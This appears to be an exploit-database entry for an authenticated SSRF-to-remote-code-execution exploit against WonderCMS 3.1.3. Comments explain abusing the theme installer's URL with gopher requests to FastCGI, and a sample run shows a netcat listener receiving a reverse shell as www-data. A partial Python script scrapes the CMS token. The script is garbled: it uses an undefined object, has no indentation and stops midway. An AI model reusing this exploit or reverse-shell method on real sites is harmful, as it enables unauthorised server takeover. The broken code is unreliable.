Exploits / Vulnerability Discovered : 2020-12-02 |
Type : webapps |
Platform : php
This exploit / vulnerability Wondercms 3.1.3 authenticated ssrf to remote remote code execution is for educational purposes only and if it is used you will do on your own risk!
# WonderCMS is vulnerable to SSRF Vulnerability.
# In order to exploit the vulnerability, an attacker must have a valid authenticated session on the CMS.
# The theme/plugin installer not sanitize the destination of github/gitlab url, so attacker can pointing te destinaition to localhost.
# when the attacker can pointing the request to localhost, this lead to SSRF vulnerability.
# the most high impact lead to RCE with gopher scheme and FastCGI running in port 9000
#
# python exploit.py
# [+] Getting Token
# [+] Sending payload
# [+] Get reverse shell
# nc -lnvp 1234
# Connection from 192.168.43.103:56956
# /bin/sh: 0: can't access tty; job control turned off
# $ whoami
# www-data
# $
import requests
from bs4 import BeautifulSoup
from termcolor import colored
from time import sleep
allscript = soup.find_all("script")
no = 0
for i in allscript:
if "rootURL" in str(i):
url = i.string.split("=")[1].replace('"','').strip(";").lstrip(" ")
elif "token" in str(i):
token = i.string.split("=")[1].replace('"','').strip(";").lstrip(" ")